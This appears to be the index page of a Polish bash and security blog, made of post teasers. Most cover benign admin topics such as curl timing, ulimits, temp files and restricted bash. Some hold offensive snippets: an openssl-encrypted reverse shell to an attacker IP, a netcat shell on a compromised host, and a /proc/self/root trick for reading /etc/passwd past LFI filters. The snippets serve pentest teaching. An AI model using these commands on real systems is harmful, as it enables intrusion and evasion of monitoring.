P

isząc i uruchamiając skrypty bash lepiej poczekać z ich edycją do czasu aż zakończą swoje działanie. Dlaczego? W naszym ulubionym edytorze stwórzmy prosty skrypt:

#!/bin/bash
sleep 30
#echo "All your base are belong to us!"
echo "Done!"

Jeśli uruchomimy go teraz w jednym oknie terminala to po 30 sekundach powinniśmy otrzymać tylko i wyłącznie komunikat o treści: Done!. Dobrze, a teraz po uruchomieniu go w pierwszym oknie terminala – z poziomu innego okna edytujmy jego zawartość, gdy ten jeszcze nie przekroczył czasu 30 sekund i usuńmy zero (0) z trzydziestki zostawiając samą trójkę (3), czyli finalnie nasz skrypt powinien mieć postać:
[ czytaj całość… ]

Z

ałóżmy, że posiadamy wiele projektów u publicznego dostawcy chmury obliczeniowej. Jeśli pracują na nich różni użytkownicy może dojść do sytuacji, w której zostanie otwartych zbyt wiele portów do danej usługi. Aby posiadać kontrolę nad tym, co nowego pojawia się w projektach można m.in. systematycznie skanować ich adresy IP. Jednak, aby cały proces nie trwał za długo nawet dla dużej ilości projektów można go zrównoleglić. Na pomoc przychodzi nam już znany parallel. Na początek musimy stworzyć listę projektów w formacie CSV:
[ czytaj całość… ]

Skoro wszędzie dzisiaj mamy szyfrowanie – wypada, aby powłoki zwrotne również były szyfrowane. W celu uruchomienia serwera do nasłuchu należy wygenerować klucz oraz certyfikat na maszynie (o IP: 1.2.3.4) służącej do ataku:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

Odpalenie serwera:

openssl s_server -quiet -key key.pem -cert cert.pem -port 8080

Na atakowanej maszynie, na której mamy możliwość RCE (ang. Remote Code Execution) wydajemy polecenie:

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 \
| openssl s_client -quiet -connect 1.2.3.4:8080 > /tmp/s; rm /tmp/s

Więcej informacji: RevSSL

C

url może być pomocnym narzędziem przy debugowaniu. Gdy na rozpoznanie problemu składają się problemy z: siecią, DNS, serwerem lub wydajnością samej webaplikacji – możemy bez wahania po niego sięgnąć. W celu izolacji problemu możemy uruchomić curl’a w następujący sposób:

curl -w "$(date +%FT%T) dns: %{time_namelookup} connect: %{time_connect}\
 firstbyte: %{time_starttransfer} total: %{time_total} HTTP: %{http_code}\n"\
 -o /dev/null -s "https://apka.dev"

Polecenie takie puszczone w pętli da nam ładny podgląd na każde żądanie HTTP:
[ czytaj całość… ]

W

tej części zajmiemy się ścieżkami, do których odwołują się nasze skrypty. Na przykładzie z aktualnie używanego systemu operacyjnego Ubuntu w wersji 18.04.X LTS przeanalizujemy proste błędy, które mogą doprowadzić do innych problemów z działaniem oraz bezpieczeństwem. Pierwszym błędem jest zapisywanie różnych danych do tymczasowych katalogów pod przewidywalnymi nazwami plików. Musimy mieć świadomość, że do tymczasowych katalogów mają dostęp wszyscy użytkownicy systemu – dlatego działanie w ich obrębie musi być bardzo przemyślane w stosunku do danych, jakie chcemy w nich umieszczać (możemy porównać to do tłumu, który patrzy na wszystko, co robimy). Nawet, jeśli chodzi o proste mechanizmy sprawdzające, czy inny proces skrypty już nie jest uruchomiony.
[ czytaj całość… ]

W

systemach operacyjnych każdy proces ma określony zestaw zasobów dostępnych w czasie jego życia. W przypadku Linuksa obejmują one takie rzeczy jak: ilość otwartych plików, rozmiar pliku z zrzutem pamięci, liczbę wątków, czy rozmiar stosu. Każdy zasób ma dwie granice: miękką (ang. soft) oraz twardą (ang. hard). Wartość graniczna zasobów może wahać się pomiędzy [miękką, a twardą] granicą. Pierwszą można uznać za wartość domyślną, a drugą za wartość maksymalnego pułapu. Zadaniem jądra jest upewnienie się, że te ograniczenia są egzekwowane.
[ czytaj całość… ]

J

eśli znaleźliśmy podatność LFI lub SSRF i chcemy odczytać plik /etc/passwd, ale serwer filtruje wszystko, co zaczyna się od /etc możemy spróbować zrobić to za pomocą wirtualnego systemu plików proc, czyli: /proc/self/root/etc/passwd (chcąć pominąć filtry, aby nie wyzwolić ustawionych alarmów lepiej unikać frazy /etc/passwd i wykorzystać np. plik: /proc/self/root/etc/timezone lub inny). Natomiast, jeśli polecenie jest wykonywane w kontekście powłoki bash możemy wykorzystać obfuskację (ang. obfuscation), czyli zaciemnienie, które i tak zostanie zinterpretowane przez powłokę:
[ czytaj całość… ]

Z

ałóżmy, że uruchomiliśmy już „odwróconą powłokę” na przejętym przez nas serwerze (w jakimś stopniu) przy pomocy polecenia netcat:

$ rm -f /tmp/f; mkfifo /tmp/f
$ cat /tmp/f | /bin/bash -i 2>&1 | nc -lvp 4444 > /tmp/f
Listening on [0.0.0.0] (family 0, port 4444)
Connection from X.X.X.X 45600 received!

Problem w tym, że jeśli z poziomu klienta połączymy się z tak przygotowaną maszyną to nie będziemy mieli pełnowymiarowej powłoki bash z jaką mamy do czynienia przez SSH. Żadne polecenia nie będą dopełniane za pomocą klawisza Tab oraz nie wszystkie interaktywne programy będą w stanie działać poprawnie. Na przykład:

agresor@stardust:~$ nc X.X.X.X 4444
vim
Vim: Warning: Output is not to a terminal
Vim: Warning: Input is not from a terminal

Na szczęście istnieje prosty trick, który za pomocą języka Python i pomocy kilku poleceń jest w stanie dostarczyć nam pełnowymiarową powłokę. Procedura jest następująca:
[ czytaj całość… ]

W

ramach „Uciekiniera z zastrzeżonej powłoki” wielu z Was dziwiło się jak prosto można uruchomić powłokę bash bez oficjalnego profilu ładowanego z systemu. Tym samym powstało wiele pytań o wiarygodność pliku .bash_history w kontekście śledzenia aktywności użytkowników. Na początku może skonfigurujmy dla tego pliku środowisko systemu najlepiej, jak umiemy.
[ czytaj całość… ]

J

eśli powłoka bash zostanie uruchomiona jako rbash (link symboliczny) lub z opcjami --restricted lub -r – to przejdzie w tryb ograniczony. Ograniczona powłoka służy do umieszczania użytkowników w bardziej kontrolowanym środowisku niż jej standardowy wariant. Zachowuje się identycznie jak bash z poniższymi ograniczeniami:
[ czytaj całość… ]